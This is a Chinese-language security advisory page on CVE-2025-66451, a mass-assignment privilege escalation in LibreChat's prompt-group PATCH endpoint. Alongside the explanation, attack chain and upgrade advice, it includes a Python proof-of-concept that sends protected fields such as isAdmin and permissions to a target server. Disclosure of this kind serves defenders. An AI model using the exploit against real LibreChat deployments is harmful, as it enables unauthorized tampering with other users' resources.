IPBUF安全漏洞报告
English
CVE-2025-66451 CVSS 6.5 中危

CVE-2025-66451 LibreChat提示组权限提升漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-66451
漏洞类型
访问控制/权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

访问控制权限提升LibreChat输入验证不足API安全CVE-2025-66451

漏洞概述

LibreChat是一款开源的ChatGPT克隆项目,具有额外的扩展功能。在0.8.0及以下版本中,存在一处访问控制缺陷。该漏洞位于/api/prompts/groups/:groupId的PATCH端点,当用户创建或修改提示词时,系统会发送JSON请求来定义和修改提示组。然而,请求体没有得到充分的输入验证,导致低权限用户能够以非预期的方式修改提示组内容。攻击者可以利用此漏洞修改其他用户的提示组,或者访问/修改本应受保护的资源。该漏洞的CVSS评分为6.5,属于中等严重性等级,主要影响系统的完整性和访问控制机制。

技术细节

该漏洞的核心问题在于patchPromptGroup函数直接将客户端请求的req.body对象传递给updatePromptGroup()函数,而没有对敏感字段进行过滤或验证。在正常的Web应用设计中,对于涉及资源修改的API端点,应当对用户提交的请求体进行严格的字段白名单验证,确保用户只能修改被允许的字段。然而,在漏洞版本中,攻击者可以通过构造特殊的请求体,包含本不应由用户控制的字段(如管理员标识、权限字段等),来实现权限提升或其他未授权操作。攻击者只需发送一个带有groupId和恶意构造的req.body的PATCH请求,即可触发该漏洞。由于该端点不需要特殊的权限验证(PR:L),且可以通过网络直接访问(AV:N),使得漏洞利用门槛较低。修复版本0.8.1通过增加输入验证和敏感字段过滤机制来解决此问题。

攻击链分析

STEP 1
步骤1
攻击者注册LibreChat账户并获取低权限用户访问令牌
STEP 2
步骤2
攻击者通过API获取目标提示组的groupId
STEP 3
步骤3
攻击者构造恶意PATCH请求,在请求体中包含本应被过滤的敏感字段
STEP 4
步骤4
向/api/prompts/groups/:groupId端点发送请求,patchPromptGroup函数直接将req.body传递给updatePromptGroup()
STEP 5
步骤5
由于缺乏输入验证,敏感字段被写入数据库,导致权限提升或其他未授权操作
STEP 6
步骤6
攻击者成功修改提示组配置,获取超出其权限范围的访问或控制能力

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66451 PoC - LibreChat Prompt Group Privilege Escalation # Target: LibreChat <= 0.8.0 # Endpoint: PATCH /api/prompts/groups/:groupId target_url = "http://target-server:3000" group_id = "TARGET_GROUP_ID" access_token = "YOUR_LOW_PRIVILEGE_TOKEN" # Malicious payload - attempt to modify protected fields malicious_payload = { "name": "Modified Group Name", "description": "Privilege escalation test", # Attempt to modify fields not intended for user modification "isAdmin": True, "isPublic": True, "permissions": ["admin", "write", "read"] } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {access_token}" } endpoint = f"{target_url}/api/prompts/groups/{group_id}" try: response = requests.patch(endpoint, json=malicious_payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Request successful - vulnerability may exist") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

LibreChat <= 0.8.0

防御指南

临时缓解措施
立即升级LibreChat到0.8.1或更高版本以修复该漏洞。在无法立即升级的情况下,可以暂时禁用提示组修改API端点,或通过Web应用防火墙(WAF)对/api/prompts/groups/*路径的PATCH请求进行过滤和监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表